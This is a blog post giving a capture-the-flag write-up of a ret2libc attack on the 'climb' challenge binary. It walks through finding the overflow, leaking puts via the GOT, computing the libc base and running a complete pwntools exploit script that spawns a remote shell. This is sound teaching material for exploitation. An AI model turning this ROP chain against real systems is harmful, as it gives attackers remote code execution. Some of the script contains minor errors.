Hello pwners !! It’s been a long time since the last post. I was unable to continue my series on Exploitation&Pwning
due to my busy schedule. But anyway I’m here with the second
post on Exploitation&Pwning
series.
Description
Hello pwners !! It’s been a long time since the last post. I was unable to continue my series on Exploitation&Pwning
due to my busy schedule. But anyway I’m here with the second
post on Exploitation&Pwning
series. You can read my first post of this series here. Today I will try to explain about ret2libc
attack.
Ret2libc
“Return-to-Libc” attack is a computer security attack usually starting with a buffer overflow in which a subroutine i.e. return address
on a call stack by an address
of a subroutine that is already present in the process executable memory. Bypassing the no-execute bit
feature (if present) and getting a shell by injecting the code as required.
In order to be favorable to this attack, attacker can only call pre-existing functions like (puts, read, printf, libcstartmain, etc as per elf
file).
Pwn Challenge
climb
Description [396]
Can you help me climb the rope?
nc cha.hackpack.club 41702
File: climb
Solution:- As soon as I downloaded and ran the file it displayed with some description as
1
2
3
|
root@gr4n173:~$ ./climb
Stranger: Help! I'm stuck down here. Can you help me climb the rope?
How will you respond?
|
Protection Mechanism
After this, I grabbed gdb
and started to check the protection mechanism.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
❯ gdb -q climb
GEF for linux ready, type gef to start, gef config to configure
78 commands loaded for GDB 9.1 using Python engine 3.8
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from climb...
(No debugging symbols found in climb)
gef➤ checksec
[+] checksec for '/home/gr4n173/hackpack/pwn/climbfile/climb'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
|
As per protection mechanism, NX(no-executable)
and RelRO
was enabled so I couldn’t write the shellcode but instead I was able to use got
writable address and get a shell. Likewise Canary
disable indicated there was buffer overflow.
Let’s assume that ASLR
was also enabled in the server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x00000000004004e8 _init
0x0000000000400510 puts@plt
0x0000000000400520 setbuf@plt
0x0000000000400530 system@plt
0x0000000000400540 printf@plt
0x0000000000400550 read@plt
0x0000000000400560 _start
0x0000000000400590 _dl_relocate_static_pie
0x00000000004005a0 deregister_tm_clones
0x00000000004005d0 register_tm_clones
0x0000000000400610 __do_global_dtors_aux
0x0000000000400640 frame_dummy
0x0000000000400647 _init_
0x0000000000400650 _glibc_
0x0000000000400659 _entry1_
0x0000000000400664 call_me
0x000000000040067f main
0x00000000004006e0 __libc_csu_init
0x0000000000400750 __libc_csu_fini
0x0000000000400754 _fini
|
Here, I noticed a main
and call_me
functions. Then disassembled main
function to see the details.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
gef➤ disass main
Dump of assembler code for function main:
0x000000000040067f <+0>: push rbp
0x0000000000400680 <+1>: mov rbp,rsp
0x0000000000400683 <+4>: sub rsp,0x20
0x0000000000400687 <+8>: mov rax,QWORD PTR [rip+0x2009c2] # 0x601050 <stdout@@GLIBC_2.2.5>
0x000000000040068e <+15>: mov esi,0x0
0x0000000000400693 <+20>: mov rdi,rax
0x0000000000400696 <+23>: call 0x400520 <setbuf@plt>
0x000000000040069b <+28>: lea rdi,[rip+0xc6] # 0x400768
0x00000000004006a2 <+35>: call 0x400510 <puts@plt>
0x00000000004006a7 <+40>: lea rdi,[rip+0xff] # 0x4007ad
0x00000000004006ae <+47>: mov eax,0x0
0x00000000004006b3 <+52>: call 0x400540 <printf@plt>
0x00000000004006b8 <+57>: lea rax,[rbp-0x20]
0x00000000004006bc <+61>: mov edx,0x1f4
0x00000000004006c1 <+66>: mov rsi,rax
0x00000000004006c4 <+69>: mov edi,0x0
0x00000000004006c9 <+74>: call 0x400550 <read@plt>
0x00000000004006ce <+79>: mov eax,0x0
0x00000000004006d3 <+84>: leave
0x00000000004006d4 <+85>: ret
End of assembler dump.
|
There you can see one variable with buffer of 0x20(32)
and a read
function which took the 3 register to store the value. read(0,variable, buffer_size)
as
1
2
3
4
|
0x00000000004006bc <+61>: mov edx,0x1f4 #buffersize of 500
0x00000000004006c1 <+66>: mov rsi,rax #variable
0x00000000004006c4 <+69>: mov edi,0x0 #0
0x00000000004006c9 <+74>: call 0x400550 <read@plt>
|
Result from above indicated there was buffer overflow. So first thing was to find the offset
. For that, you can visit my first post of Exploitation&Pwning
series here to know detail about it.
Overflow the buffer
After finding offset which was40
bytes. Now I can redirect to anywhere I want. Only I need to do now is to pop
one of the argument; sequence of arguments in 64 bit
are as rdi;rsi;rdx;rcx;r8;r9
. Then searched the gadgets related to the poping an arguments as
1
2
3
4
5
6
7
8
9
|
gef➤ ropper --search "pop r?i"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r?i
[INFO] File: /home/gr4n173/climb
0x0000000000400743: pop rdi; ret;
0x0000000000400741: pop rsi; pop r15; ret;
|
Up to here I overflowed the buffer
and pop a argument
so that I can call to any address I want.
Since binary
had writable got
address due to the partial protection of RelRO
I can point to that address and leak. For that I used the functions which was available in the binary file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x00000000004004e8 _init
0x0000000000400510 puts@plt
0x0000000000400520 setbuf@plt
0x0000000000400530 system@plt
0x0000000000400540 printf@plt
0x0000000000400550 read@plt
0x0000000000400560 _start
0x0000000000400590 _dl_relocate_static_pie
0x00000000004005a0 deregister_tm_clones
0x00000000004005d0 register_tm_clones
0x0000000000400610 __do_global_dtors_aux
0x0000000000400640 frame_dummy
0x0000000000400647 _init_
0x0000000000400650 _glibc_
0x0000000000400659 _entry1_
0x0000000000400664 call_me
0x000000000040067f main
0x00000000004006e0 __libc_csu_init
0x0000000000400750 __libc_csu_fini
0x0000000000400754 _fini
|
Then searched for got address
.
1
2
3
4
5
6
7
8
9
|
gef➤ got
GOT protection: Partial RelRO | GOT functions: 5
[0x601018] puts@GLIBC_2.2.5 → 0x7ffff7e54030 #this one
[0x601020] setbuf@GLIBC_2.2.5 → 0x7ffff7e5adb0
[0x601028] system@GLIBC_2.2.5 → 0x400536
[0x601030] printf@GLIBC_2.2.5 → 0x7ffff7e34470
[0x601038] read@GLIBC_2.2.5 → 0x7ffff7ecc5c0
|
Up to this, my payload to leak the address was
Leaking the address
1
|
payload = offset + pop_rdi + puts@got + puts@plt
|
Part1_exploit: -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
#!/bin/python3
# part1exploit.py
from pwn import * # Import pwntools
p= remote('cha.hackpack.club',41702)
#p = process("./climb") # start the vuln binary
elf = ELF("./climb")# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]# Same as ROPgadget --binary vuln | grep "pop rdi"
log.info("Puts@plt: " + hex(PUTS))
log.info("Pop rdi gadget: " + hex(POP_RDI))
#Overflow buffer until return address
OFFSET = ("A"*40).encode() #+ "B"*8
# Create rop chain
payload1 = OFFSET
payload1 += p64(POP_RDI)
payload1 += p64(PUTS_GOT)
payload1 += p64(PUTS_PLT)
p.sendline(payload1)
p.interactive()
|
Output :-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
❯ python3 part1_exploit.py
[+] Opening connection to cha.hackpack.club on port 41702: Done
[*] '/home/gr4n173/climb'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 16 cached gadgets for './climb'
[*] puts@plt: 0x40050c
[*] __libc_start_main: 0x601018
[*] pop rdi gadget: 0x400743
[*] Switching to interactive mode
b'\xc0I\xe7X\xac\x7f'
[*] Got EOF while reading in interactive
|
From the output of part1 exploit
some leak
was seen which was random everytime I ran the exploit. So that may be the address leaked. In order to check I tried to strip
it and then unpacked as 8 bytes data.
Leaking the address of Puts
1
2
3
4
5
6
|
#Parse leaked address
recieved = p.recvline().strip()
#print(recieved)
leak = u64(recieved.ljust(8,b"\x00"))
#print(leak)
log.info("Leaked libc address, Puts: %s" % hex(leak))
|
Then combining this to my part1
exploit I got the address leak of puts
.
Output:-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
❯ python3 part1_exploit.py
[+] Opening connection to cha.hackpack.club on port 41702: Done
[*] '/home/gr4n173/climb'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 16 cached gadgets for './climb'
[*] puts@plt: 0x40050c
[*] __libc_start_main: 0x601018
[*] pop rdi gadget: 0x400743
[*] Switching to interactive mode
[*] Leaked libc address, Puts: 0x7f6662f2b9c0
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
|
Hm… Cool,right? By overflowing the buffer, poping the argument, pointing to got and plt of puts
address I finally leaked address of puts
from libc.
Finding version of libc
And another thing was, every time when exploit was run,I got the different address except the last 3 bytes
of the puts
leaked address remains same. So that helped me to find a version of libc. In order to find the libc verion you can use this website Find libc version here. By using this, libc verison was shown and file was downloaded.
From above, libc version was libc6_2.27-3ubuntu1_amd64
and got a shell after buffer was overflowed.
One thing to remember about the address of the function like system
, puts
, printf
etc.,inside the libc is, it just shift the address a bit from the libc base
address. So by subracting puts leak address with actual address of puts
from libc
I got the base address of the libc.
Getting base address of libc
1
2
|
libc.address = leak - libc.sym["puts"]
log.info("Base address of libc: %s " % hex(libc.address))
|
Output: -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
❯ python3 part1_exploit.py
[+] Opening connection to cha.hackpack.club on port 41702: Done
[*] '/home/gr4n173/climb'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/gr4n173/libc6_2.27-3ubuntu1_amd64.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 16 cached gadgets for './climb'
[*] puts@plt: 0x40050c
[*] __libc_start_main: 0x601018
[*] pop rdi gadget: 0x400743
[*] rdi: 0x4004fe
[*] Leaked libc address, Puts: 0x7f03f04ea9c0
[*] Base address of libc: 0x7f03f046a000
|
Now with this libc version I found a system
and bin/sh
address to get a shell. You can use one_gadget directly to get a shell but I mostly use system
more to get know knowledge about the address of system
and binsh
.
Address of bin/sh and system
1
2
3
4
5
|
BINSH = next(libc.search("/bin/sh")) #Verify with find /bin/sh libc6_2.27-3ubuntu1_amd64.so
SYSTEM = libc.sym["system"]
log.info("bin/sh: %s " % hex(BINSH))
log.info("system: %s " % hex(SYSTEM))
|
One thing to notice before this; we have to return to main
so that we can overflow the function and get a shell. Hence my part2_exploit
was
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
received = p.recvline().strip()
leak = u64(received.ljust(8,b"\x00"))
log.info("Leaked libc address, Puts: %s" % hex(leak))
libc.address = leak - libc.sym["puts"]
log.info("Base address of libc: %s " % hex(libc.address))
BINSH = next(libc.search("/bin/sh"))
SYSTEM = libc.sym["system"]
log.info("bin/sh: %s " % hex(BINSH))
log.info("system: %s " % hex(SYSTEM))
payload2 = OFFSET
payload2 += p64(RET)
payload2 += p64(POP_RDI)
payload2 += p64(BINSH)
payload2 += p64(SYSTEM)
p.recvuntil("How will you respond? "))
p.sendline(payload2)
|
In payload2, I used RET
to make stack 16 bytes aligned by popping off 8 bytes off top of stack and returning to it.
Pwning a shell
So combining the part1
and part2
exploit my final exploit becomes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
#!/bin/python
# (combined)exploit.py
from pwn import * # Import pwntools
p= remote('cha.hackpack.club',41702)
#p = process("./climb")
elf = ELF("./climb")
libc = ELF("libc6_2.27-3ubuntu1_amd64.so")
rop = ROP(elf)# Find ROP gadgets
PUTS_PLT = elf.plt['puts']
MAIN = elf.symbols['main']
PUTS_GOT = elf.got['puts']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]# Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Puts@plt: " + hex(PUTS_PLT))
log.info("Puts@glt : " + hex(PUTS_GOT))
log.info("Pop rdi gadget: " + hex(POP_RDI))
log.info("rdi: " + hex(RET))
#Overflow buffer until return address
OFFSET = ("A"*40).encode() #+ "B"*8
# Create rop chain
payload1 = OFFSET
payload1 += p64(POP_RDI)
payload1 += p64(PUTS_GOT)
payload1 += p64(PUTS_PLT)
payload1 += p64(MAIN)
#Send our rop-chain payload
p.recvuntil("How will you respond? ")
p.sendline(payload1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8,b"\x00"))
log.info("Leaked libc address, Puts: %s" % hex(leak))
libc.address = leak - libc.sym["puts"]
log.info("Base address of libc: %s " % hex(libc.address))
BINSH = next(libc.search("/bin/sh"))
SYSTEM = libc.sym["system"]
log.info("bin/sh: %s " % hex(BINSH))
log.info("system: %s " % hex(SYSTEM))
payload2 = OFFSET
payload2 += p64(RET)
payload2 += p64(POP_RDI)
payload2 += p64(BINSH)
payload2 += p64(SYSTEM)
p.recvuntil("How will you respond? "))
p.sendline(payload2)
p.interactive()
|
Output: -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
❯ python exploit.py
[+] Opening connection to cha.hackpack.club on port 41702: Done
[*] '/home/gr4n173/climb'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/gr4n173/libc6_2.27-3ubuntu1_amd64.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 16 cached gadgets for './climb'
[*] Puts@plt: 0x40050c
[*] Puts@glt : 0x601018
[*] Pop rdi gadget: 0x400743
[*] rdi: 0x4004fe
[*] Leaked libc address, Puts: 0x7ff0e807a9c0
[*] Base address of libc: 0x7ff0e7ffa000
[*] bin/sh: 0x7ff0e81ade9a
[*] system: 0x7ff0e8049440
[*] Switching to interactive mode
$ ls
climb
flag.txt
$ cat flag.txt
flag{w0w_A_R34L_LiF3_R0pp3r!}
$
|
Conclusion
In this part of Exploitation&Pwning
Series here I tried to explain about the ret2libc
exploit. At first I overflowed the buffer
and called to got
address to leak the address of related function. Later I returned back to main so that I can use the overflow function again and get a shell by using system and binsh
from libc
.
Stay updated to my blog. I will be posting next writeup soon about Exploitation&Pwning
series posts. Last but not the least I would like to thank all my readers for staying with me till here.
Feedbacks are really appreciated in the comments below.
Stay safe.
Keep learning.